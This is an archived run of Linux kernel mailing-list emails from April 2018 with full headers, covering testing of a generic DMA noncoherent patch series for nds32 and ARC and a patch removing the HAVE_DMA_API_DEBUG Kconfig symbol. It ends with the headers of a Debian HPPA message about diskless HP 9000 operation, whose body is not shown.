> On Wed, Apr 25, 2018 at 11:17:01AM +0000, Alexey Brodkin wrote:
> > Which is actually strange as I would expect ARC code to be built by bots.
> 
> I don't think I got any notification.  Thank for the fixes!
> 
> I think I found the bug, based on the fact that so far all tests for
> architectures that also need a cache op for device to cpu transitions
> failed.  I did a stupid typo when changing kconfig symbols, so please
> try the patch below.

Confirmed to work for nds32, so here is a git tree with the core, arc
and nds32 fixes folded in, feel free to test that one:

git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greentime Hu <green.hu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Thu, 26 Apr 2018 17:39:20 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <CAEbi=3dnduyq3k8hkoLu180EtwCQ5-Hz0jc1iviv70WXp7yUJg@mail.gmail.com>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de>
 <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
 <20180424191640.GA32495@lst.de> <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
 <20180425064055.GA11460@lst.de> <CAEbi=3fcd8E=xi_hbef45LnPsBZhZv37yPO-xfZmU1gMaWnDvg@mail.gmail.com>
 <20180426064239.GA13895@lst.de> <CAEbi=3e3gM_WpQOtKZXP4Xj2Az4bLf_u6BjDELqXy6-d9HurMQ@mail.gmail.com>
 <20180426082429.GA15580@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524735497 12235 195.159.176.226 (26 Apr 2018 09:38:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2018 09:38:17 +0000 (UTC)
Cc: linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 26 11:38:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fBdLw-00036H-2B
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Apr 2018 11:38:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754727AbeDZJkI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Apr 2018 05:40:08 -0400
Original-Received: from mail-vk0-f45.google.com ([209.85.213.45]:43113 "EHLO
        mail-vk0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754488AbeDZJkC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Apr 2018 05:40:02 -0400
Original-Received: by mail-vk0-f45.google.com with SMTP id v134so15630799vkd.10;
        Thu, 26 Apr 2018 02:40:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=kJ/eg/mso8dNUKeUsjJa3mdBSyI39SncnTpdgU5oToU=;
        b=vJ/z0LzXYe9tDYmPSVHbois9GzGRwecz2HuDNyTehVs2U8Qv6wJ1VZJW+d0ZChBXMs
         EA6A1f/7SCGxgbP8BM5TPdB+2W7M3PkaZuFcRsbWp5nk4Tx1GSg8/jZ9Qm4bAfUpq1gS
         kIYj3jBYncUXZyY8bWYdawNlNOihs4w1LC8EfcH1Dmzo00to6/qfs18PigyrgdVJzwCM
         RXT1sQ4+KndRwWk7laMe2dQShEn/rAcK9DqcbY6wkJdBgB109YYfzcGARdSnwkHrouF5
         Ea00psjxa+7PjqFhbbRlLmU8/g4I7SUaFt+0AAGbUUkYJx06eTgn3NRUDhcceShylgjK
         UPmA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=kJ/eg/mso8dNUKeUsjJa3mdBSyI39SncnTpdgU5oToU=;
        b=DxIMGK0s1iz6QwzYdB7UoRjOCfz8Q+IaYmI7uTwV37XaAVFu9B+3NUwBFeo0xsWUf8
         arf9P8RP5blU+g8nD2dViyKGV/SITzmQpEJ36/5zw/tD2+Ka/pp4mUjzWJadcxcZaTsC
         jWPPzvSUgKGxkj2D7INX4R5lCU6Ni269Kvw7MgL6oqQ1g64qag/6tlnPT8f4S4S60Uef
         gZd/LJ3py6ccgyeXUEwwuK0p0eVRr4zjFx3zGA/qpsXs2R8+b+j99QLOh1d78He36zJP
         aVr1D7e14alLkr4RyeClEKOOxCWVtpNKmdZ59CfZ9lQuMk2ZMcIVhICRKLAPKfd7Q8K/
         IM4g==
X-Gm-Message-State: ALQs6tDy2ax/4dxsS9YpRJYlb/hRigo29P8P2iMiuWbivCz8BVkRqcot
        rdMTLmKEDHm0ZJXkxrOHhcu7abA0NDJrWj4Hfbo=
X-Google-Smtp-Source: AIpwx4+tpBhms4ROsOe/e9w26ZeXRzcJho6Be5XxwB2Av2o8YJxmPzC1Y7hWU6Lo1DsbuVWiey7VIhEjprdXpIhRZoI=
X-Received: by 10.31.181.205 with SMTP id e196mr21324503vkf.80.1524735600651;
 Thu, 26 Apr 2018 02:40:00 -0700 (PDT)
Original-Received: by 10.176.92.86 with HTTP; Thu, 26 Apr 2018 02:39:20 -0700 (PDT)
In-Reply-To: <20180426082429.GA15580@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2752177 gmane.linux.kernel.cross-arch:43742 gmane.linux.ports.alpha:5005 gmane.linux.kernel.arc:3849 gmane.linux.ports.arm.kernel:646158 gmane.linux.ports.hexagon:1687 gmane.linux.ports.parisc:28574 gmane.linux.ports.sh.devel:56926 gmane.linux.ports.sparc:27811
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2752177>

2018-04-26 16:24 GMT+08:00 Christoph Hellwig <hch@lst.de>:
> On Thu, Apr 26, 2018 at 04:06:34PM +0800, Greentime Hu wrote:
>> It works!!!
>
> Thanks!
>
> Can you retest the updated tree here with all the fixes and give me
> your Tested-by: for the generic and nds32 patches?
>
> git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent

Sorry Christoph. I found the previous mail I said it works was wrong
because I used a wrong vmlinux.
It still failed. >,<


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 4/3] dma-debug: remove CONFIG_HAVE_DMA_API_DEBUG
Date: Fri, 27 Apr 2018 17:53:42 +0200
Lines: 246
Approved: news@gmane.org
Message-ID: <20180427155342.GA9232@lst.de>
References: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524844188 11066 195.159.176.226 (27 Apr 2018 15:49:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 27 Apr 2018 15:49:48 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Apr 27 17:49:42 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fC5cx-0002i0-Uv
	for glki-iommu@m.gmane.org; Fri, 27 Apr 2018 17:49:40 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id B5AE7D9D;
	Fri, 27 Apr 2018 15:51:50 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6FCD2D9D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 27 Apr 2018 15:51:49 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 50D6B683
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 27 Apr 2018 15:51:48 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 578D768D13; Fri, 27 Apr 2018 17:53:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20180424140235.9125-1-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:23958 gmane.linux.kernel.cross-arch:43776 gmane.linux.kernel.arc:3854 gmane.linux.ports.parisc:28575 gmane.linux.ports.sh.devel:56927 gmane.linux.ports.hexagon:1688 gmane.linux.kernel:2753979 gmane.linux.ports.alpha:5006 gmane.linux.ports.sparc:27819 gmane.linux.ports.arm.kernel:646671
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/23958>

There is no arch specific code required for dma-debug, so there is no
need to opt into the support either.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 .../io/dma-api-debug/arch-support.txt         | 31 -------------------
 arch/Kconfig                                  |  3 --
 arch/arm/Kconfig                              |  1 -
 arch/arm64/Kconfig                            |  1 -
 arch/c6x/Kconfig                              |  1 -
 arch/ia64/Kconfig                             |  1 -
 arch/microblaze/Kconfig                       |  1 -
 arch/mips/Kconfig                             |  1 -
 arch/powerpc/Kconfig                          |  1 -
 arch/riscv/Kconfig                            |  1 -
 arch/s390/Kconfig                             |  1 -
 arch/sh/Kconfig                               |  1 -
 arch/sparc/Kconfig                            |  1 -
 arch/x86/Kconfig                              |  1 -
 arch/xtensa/Kconfig                           |  1 -
 lib/Kconfig.debug                             |  1 -
 16 files changed, 48 deletions(-)
 delete mode 100644 Documentation/features/io/dma-api-debug/arch-support.txt

diff --git a/Documentation/features/io/dma-api-debug/arch-support.txt b/Documentation/features/io/dma-api-debug/arch-support.txt
deleted file mode 100644
index e438ed675623..000000000000
--- a/Documentation/features/io/dma-api-debug/arch-support.txt
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Feature name:          dma-api-debug
-#         Kconfig:       HAVE_DMA_API_DEBUG
-#         description:   arch supports DMA debug facilities
-#
-    -----------------------
-    |         arch |status|
-    -----------------------
-    |       alpha: | TODO |
-    |         arc: | TODO |
-    |         arm: |  ok  |
-    |       arm64: |  ok  |
-    |         c6x: |  ok  |
-    |       h8300: | TODO |
-    |     hexagon: | TODO |
-    |        ia64: |  ok  |
-    |        m68k: | TODO |
-    |  microblaze: |  ok  |
-    |        mips: |  ok  |
-    |       nios2: | TODO |
-    |    openrisc: | TODO |
-    |      parisc: | TODO |
-    |     powerpc: |  ok  |
-    |        s390: |  ok  |
-    |          sh: |  ok  |
-    |       sparc: |  ok  |
-    |          um: | TODO |
-    |   unicore32: | TODO |
-    |         x86: |  ok  |
-    |      xtensa: |  ok  |
-    -----------------------
diff --git a/arch/Kconfig b/arch/Kconfig
index 8e0d665c8d53..f07a1a99e5db 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -278,9 +278,6 @@ config HAVE_CLK
 	  The <linux/clk.h> calls support software clock gating and
 	  thus are a key power management tool on many systems.
 
-config HAVE_DMA_API_DEBUG
-	bool
-
 config HAVE_HW_BREAKPOINT
 	bool
 	depends on PERF_EVENTS
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 676977bdfe33..c43f5bb55ac8 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -60,7 +60,6 @@ config ARM
 	select HAVE_CONTEXT_TRACKING
 	select HAVE_C_RECORDMCOUNT
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS if MMU
 	select HAVE_DYNAMIC_FTRACE if (!XIP_KERNEL) && !CPU_ENDIAN_BE32 && MMU
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS if HAVE_DYNAMIC_FTRACE
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index db51b6445744..b25ed7834f6c 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -105,7 +105,6 @@ config ARM64
 	select HAVE_CONTEXT_TRACKING
 	select HAVE_DEBUG_BUGVERBOSE
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index c6b4dd1418b4..8c088b96e372 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -10,7 +10,6 @@ config C6X
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_SHOW
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_MEMBLOCK
 	select SPARSE_IRQ
 	select IRQ_DOMAIN
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 9485b5490eca..2067289fad4a 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -29,7 +29,6 @@ config IA64
 	select HAVE_FUNCTION_TRACER
 	select TTY
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_VIRT_CPU_ACCOUNTING
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3817a3e2146c..d14782100088 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -19,7 +19,6 @@ config MICROBLAZE
 	select HAVE_ARCH_HASH
 	select HAVE_ARCH_KGDB
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 0f619b8c0e9e..2dcdc13cd65d 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -42,7 +42,6 @@ config MIPS
 	select HAVE_C_RECORDMCOUNT
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DEBUG_STACKOVERFLOW
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_EXIT_THREAD
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 1887f8f86a77..268fd46fc3c7 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -181,7 +181,6 @@ config PPC
 	select HAVE_CONTEXT_TRACKING		if PPC64
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DEBUG_STACKOVERFLOW
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS	if MPROFILE_KERNEL
 	select HAVE_EBPF_JIT			if PPC64
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 17212ba54ee3..95e2da34aaad 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -23,7 +23,6 @@ config RISCV
 	select GENERIC_ATOMIC64 if !64BIT || !RISCV_ISA_A
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_GENERIC_DMA_COHERENT
 	select IRQ_DOMAIN
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index b794a2ab6d15..6a64287ec1da 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -130,7 +130,6 @@ config S390
 	select HAVE_CMPXCHG_LOCAL
 	select HAVE_COPY_THREAD_TLS
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select DMA_DIRECT_OPS
 	select HAVE_DYNAMIC_FTRACE
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 9417f70e008e..7d521926041e 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -13,7 +13,6 @@ config SUPERH
 	select HAVE_OPROFILE
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_PERF_EVENTS
 	select HAVE_DEBUG_BUGVERBOSE
 	select ARCH_HAVE_CUSTOM_GPIO_H
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index c1cfc17eb504..435dbc033afe 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -25,7 +25,6 @@ config SPARC
 	select RTC_CLASS
 	select RTC_DRV_M48T59
 	select RTC_SYSTOHC
-	select HAVE_DMA_API_DEBUG
 	select HAVE_ARCH_JUMP_LABEL if SPARC64
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_IPC_PARSE_VERSION
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index aad35c568681..3eeca48a146b 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -135,7 +135,6 @@ config X86
 	select HAVE_C_RECORDMCOUNT
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DEBUG_STACKOVERFLOW
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index c921e8bccdc8..17df332269b2 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -19,7 +19,6 @@ config XTENSA
 	select HAVE_ARCH_KASAN if MMU
 	select HAVE_CC_STACKPROTECTOR
 	select HAVE_DEBUG_KMEMLEAK
-	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_EXIT_THREAD
 	select HAVE_FUNCTION_TRACER
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index 685ed2dd4384..d5175eb7b917 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1634,7 +1634,6 @@ config PROVIDE_OHCI1394_DMA_INIT
 
 config DMA_API_DEBUG
 	bool "Enable debugging of DMA-API usage"
-	depends on HAVE_DMA_API_DEBUG
 	select NEED_DMA_MAP_STATE
 	help
 	  Enable this option to debug the use of the DMA API by device drivers.
-- 
2.17.0


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: diskless operation of HP 9000 712/80
Date: Fri, 27 Apr 2018 20:17:13 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <b13a02ad-7050-5607-3849-553ae06ae92e@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524852934 9141 195.159.176.226 (27 Apr 2018 18:15:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 27 Apr 2018 18:15:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: dave.anglin@bell.net, Helge Deller <deller@gmx.de>,
 Jeroen Roovers <jer@gentoo.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Apr 27 20:15:30 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fC7u4-0002FZ-6r
	for debian-hppa@m.gmane.org; Fri, 27 Apr 2018 20:15:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 08464F8; Fri, 27 Apr 2018 18:17:39 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Apr 27 18:17:38 2018
Old-Return-Path: <frank.scheiner@web.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id E17E6158
	for <lists-debian-hppa@bendel.debian.org>; Fri, 27 Apr 2018 18:17:29 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id JBt6JeADPL2J for <lists-debian-hppa@bendel.debian.org>;
	Fri, 27 Apr 2018 18:17:24 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.web.de (mout.web.de [217.72.192.78])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 80C23EF
	for <debian-hppa@lists.debian.org>; Fri, 27 Apr 2018 18:17:23 +0000 (UTC)
Original-Received: from [192.168.178.29] ([217.247.40.49]) by smtp.web.de (mrweb101
 [213.165.67.124]) with ESMTPSA (Nemesis) id 0M3SxQ-1eLOqy34eO-00qyCX; Fri, 27
 Apr 2018 20:17:17 +0200
Content-Language: en-US
X-Provags-ID: V03:K1:D2oLaCThfOAVUd18Tn0CGn04qIEm/KAs2HEGXijvL7rzPvMEqfZ
 QJ3VWroaZOaJO2r50pSfKZmxCiJEq64KbYw5E7UbwSJE5ClZMvjn3QYlUW07yznLuuLjlDF
 n4Fb4KuCNHILq6FT8vtCi78eCsxh256OY3EQ883SEEJ6VV9YZcqn6cR9kEA3jdjfaXO6SKb
 Cdm4W+V/DVRNK6XVDJwkg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QEWmiovDo30=:E4jXlsoIbJxExx52dtE+eB
 CGO4krwu7u7fb+kDscWk8ugcWXv5TpZCLnn2El30bNnCNeFcE5oJ34yaX5BYDBiY5e0273WQ6
 qzEM0Putc03II/gIqI9Y0avUI5ly1YC6hS/psw+ujJKzM7oVIhL1WYu9qQxtTKnFsLMv4bHBi
 2M6dgTWjHcJuRmP3rZ6R2IJhxWhzjVHFnwo7clUc/m18hbl92Fn9nWfPO9PN9ZBdt4etm22KQ
 2EpfK9kbMhycH/IZGiJANJ25B3FBwVH7T9k9q1svEML0zYsCNLdj9PID6arAE2NK6/n4bzPRa
 UlcOVXWGMQs7c93+hNZSIMM8qjuSkD2gc7s/1QDB1iw4q1qJGERNcwR7djzyvxniFRN9j9TeD
 urLV8cuu038Qigzs8Z/7+YsAZaGwZeYIbLw4BpbY2aZvl4nQ43enuOPdsWBBZ4S8wm7xfwSud
 fCh0PVRy1tEdiYkc4gAZeD+33QfyE0WRBzZJSM6BX12TmKWyRnphvdttjhPmOY+rCfrLSQHps
 JNdvKDpBiiJ+TI/lMmDr/ptklJwUfkmygyR/1+n4oSDSGBdnLAljZHNft44Nu3U+JDlpIt2N/
